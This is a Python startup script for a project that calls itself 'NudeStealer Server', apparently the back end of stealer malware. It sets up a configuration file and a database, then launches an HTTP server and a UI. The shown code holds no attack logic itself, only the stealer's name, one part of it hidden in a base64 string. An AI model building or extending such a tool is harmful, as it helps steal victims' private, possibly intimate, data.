import base64
import os
import asyncio
import multiprocessing

from serverside.consts import logger, running_tasks, DATABASE_FILE, BASE_DIR, CONFIG_TEMPLATE, __projname__, __version__, __author__
from serverside.http_s import start_server
from serverside.database_s import init_db
from serverside.util_s import stop_all, run_in_thread
from ui.ui_ux import start_ui

async def main() -> None:
    if not os.path.exists(BASE_DIR / "configuration.ini"):
        logger.error("Configuration file not found. Creating template configuration.ini in the base directory.")
        with open(BASE_DIR / "configuration.ini", "w", encoding="utf-8") as f:
            f.write(CONFIG_TEMPLATE.strip())
        logger.info("Template configuration.ini created. Please review and update the configuration file before running the server again. Waiting for 10 seconds before exiting...")
        await asyncio.sleep(10.0)
        return
    

    if not os.path.exists(DATABASE_FILE):
        logger.info("Database file not found. Initializing new database...")
        try:
            init_db()
            logger.info("Database initialized successfully.")
        except Exception as e:
            logger.error(f"An error occurred while initializing the database: {e}")
    else:
        logger.info("Database file found. Skipping initialization.")


    logger.info("NudeStealer http Server is starting...")
    try:
        running_tasks["server"] = asyncio.create_task(start_server())
        logger.info("NudeStealer http Server has started successfully.")
    except Exception as e:
        logger.error(f"An error occurred while starting the http server: {e}")
        return


    logger.info("Starting the UI...")
    try:
        running_tasks["ui"] = asyncio.create_task(run_in_thread("UI", start_ui))
        #start_ui()
        logger.info("UI has started successfully.")
    except Exception as e:
        logger.error(f"An error occurred while starting the UI: {e}")
        return
    
    print(running_tasks)

    #await asyncio.gather(*running_tasks.values())
    while True:
        await asyncio.sleep(1)
    

if __name__ == "__main__":
    multiprocessing.freeze_support()
    if __projname__ == base64.decodebytes(b"TnVkZVN0ZWFsZXIgU2VydmVy").decode("utf-8"):

        try:
            from serverside.helpers.config import get
            #print(get("network", "port", fallback=80))
            logger.info(f"NudeStealer Server v{__version__} by {__author__}")
            logger.debug(get("ui", "port") == get("network", "port"))
            asyncio.run(main())
        except KeyboardInterrupt:
            asyncio.run(stop_all())